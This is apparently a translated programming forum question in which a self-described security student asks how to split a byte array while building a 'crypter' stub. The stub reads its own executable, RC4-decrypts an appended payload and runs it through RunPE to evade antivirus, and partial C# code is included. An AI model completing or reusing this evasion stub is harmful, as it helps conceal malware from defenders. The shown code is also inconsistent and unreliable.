我有一个问题,这里的其他问题并没有帮到我。 我是一名安全学生,正在尝试为一个项目编写加密程序。对于那些不知道什么是加密程序的人,你们可以在这里了解一下。 http://www.gamekiller.net/tutorials-guides/17187-tut-making-crypter-vb6-using-rc4.html。
简而言之,加密器是旨在通过加密程序然后在前面附加一个“stub”(解密程序)来绕过防病毒软件的程序。 我遇到了一个非常烦人的问题,就是分割文件。
最麻烦的是,由于字符串会破坏我的加密的可执行文件中的某些字符,因此我必须将加密的可执行文件放入一个字节数组中。更糟糕的是,我仍然需要“分割”exe文件,这就是问题所在。
stub的基本思路是:
- 获取当前exe路径
- 通过File.ReadAllytes读取所有字节
- 根据定界符“EVILDELIMITER”拆分文件
- 获取最后一个字段(因为这是加密的EXE)
- 使用RC4解密
- 使用RunPE运行。
我已经完成了所有工作,除了最烦人的分割部分。 如何在定界符处拆分字节数组? 有更简单的方法吗?
这是我到目前为止编写的stub代码。
public void main()
{
string outpath = RandomString(8) + ".exe";
byte[] key = { 33, 44, 55, 66, 77 };
string apppath = Assembly.GetEntryAssembly();
byte[] exe = File.ReadAllBytes(apppath);
string strseperate = "EVILSEPERATOREVIL";
System.Text.UTF8Encoding encoding = new System.Text.UTF8Encoding();
byte[] seperator = encoding.GetBytes(strseperate);
//Split code should go here
exe = Decrypt(key, encrypted);
Process.Start(outpath);
}
感谢任何帮助。